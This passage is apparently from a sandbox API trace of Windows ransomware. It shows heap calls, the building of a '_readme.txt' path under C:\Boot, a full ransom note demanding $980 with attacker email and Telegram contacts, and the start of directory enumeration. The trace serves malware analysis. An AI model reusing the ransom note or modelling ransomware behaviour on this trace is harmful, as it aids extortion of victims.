(HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2b0 | out: hHeap=0x660000) returned 1 [0112.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2b0 | out: hHeap=0x660000) returned 1 [0112.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2b0 | out: hHeap=0x660000) returned 1 [0112.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2b0 | out: hHeap=0x660000) returned 1 [0112.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2b0 | out: hHeap=0x660000) returned 1 [0112.512] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.512] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2b0 | out: hHeap=0x660000) returned 1 [0112.512] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.512] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2b0 | out: hHeap=0x660000) returned 1 [0112.512] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.512] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2b0 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba238 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c530 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba288 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba1c0 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba418 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c4c0 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c4f8 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba440 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32bd5d0 | out: hHeap=0x660000) returned 1 [0112.512] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.512] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.512] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.512] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.513] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.515] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0112.515] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.516] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.516] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.516] PathFindFileNameW (pszPath="") returned="" [0112.516] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.516] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.516] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.516] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x331d740 [0112.516] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.516] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306648 [0112.516] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.516] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.516] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0112.516] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.516] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.516] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0112.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.517] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.517] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.517] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.517] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.518] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.518] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.518] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, 